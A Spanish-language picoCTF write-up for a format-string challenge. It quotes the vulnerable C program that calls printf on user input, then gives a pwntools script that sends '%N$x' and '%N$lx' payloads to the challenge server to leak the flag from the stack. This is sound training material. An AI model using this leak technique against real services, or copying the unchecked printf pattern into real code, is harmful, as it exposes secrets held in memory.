Format strings 1

July 1, 20252 minutes
#include <stdio.h>
int main() {
char buf[1024];
char secret1[64];
char flag[64];
char secret2[64];
// Read in first secret menu item
FILE *fd = fopen("secret-menu-item-1.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-1.txt' file not found, aborting.\n");
return 1;
}
fgets(secret1, 64, fd);
// Read in the flag
fd = fopen("flag.txt", "r");
if (fd == NULL){
printf("'flag.txt' file not found, aborting.\n");
return 1;
}
fgets(flag, 64, fd);
// Read in second secret menu item
fd = fopen("secret-menu-item-2.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-2.txt' file not found, aborting.\n");
return 1;
}
fgets(secret2, 64, fd);
printf("Give me your order and I'll read it back to you:\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your order: ");
printf(buf);
printf("\n");
fflush(stdout);
printf("Bye!\n");
fflush(stdout);
return 0;
}
Se leen 3 archivos
- flag.txt
- secret-menu-item-1.txt
- secret-menu-item-2.txt
Y su contenido queda guardado en el stack.
Para debuggear hay que crearlos
echo "PICOCTF{TEST_FLAG}" > flag.txt
echo "A" > secret-menu-item-1.txt
echo "B" > secret-menu-item-2.txt
Más adelante en el programa se le pide un input al usuario y luego lo imprime con printf sin especificar el tipo, lo que lo hace vulnerable a format strings
scanf("%1024s", buf);
printf("Here's your order: ");
printf(buf);
Para lekear valores del stack con format strings vamos a hacer un script que vaya imprimiendo los valores
#!/usr/bin/env python3
from pwn import *
import time
HOST = "mimas.picoctf.net"
PORT = 53107
exe = ELF("./format-string-1_patched")
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'warn'
gdb_script = '''
b main
continue
'''
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r, gdbscript=gdb_script)
else:
r = remote(HOST, PORT)
return r
def main():
for i in range(0, 100):
try:
r = conn()
payload = f"%{i}$x"
r.sendlineafter('to you:', payload)
output = r.recvline()
output = r.recvline().split(b"Here's your order: ")[1]
print(f"{i}: {unhex(output)}")
except:
pass
if __name__ == "__main__":
main()
Con el script conseguimos llegar a ver lo siguiente
14: b'OCIP'
15: b'TSET'
16: b'\n}G'
Que sería:
- 14: PICO
- 15: TEST
- 16: G}\n
Parece ser la flag, pero faltan partes…
- 14: PICO | CTF{
- 15: TEST | _FLA
- 16: G}\n
Justo del 14 y 15 salen 4 caracteres y faltan 4 más, eso es porque estamos usando %14$x
, x
solo muestra 32 bits (4 caracteres), y este binario es de 64 bits así que hay que usar lx
14: b'{FTCOCIP'
15: b'ALF_TSET'
16: b'\x7f\xee\x00\n}G'
Ahora si
Por último solo queda ver los valores en las mismas posiciones pero en la instancia de picoCTF.
%14$lx,%15$lx,%16$lx,%17$lx,%18$lx....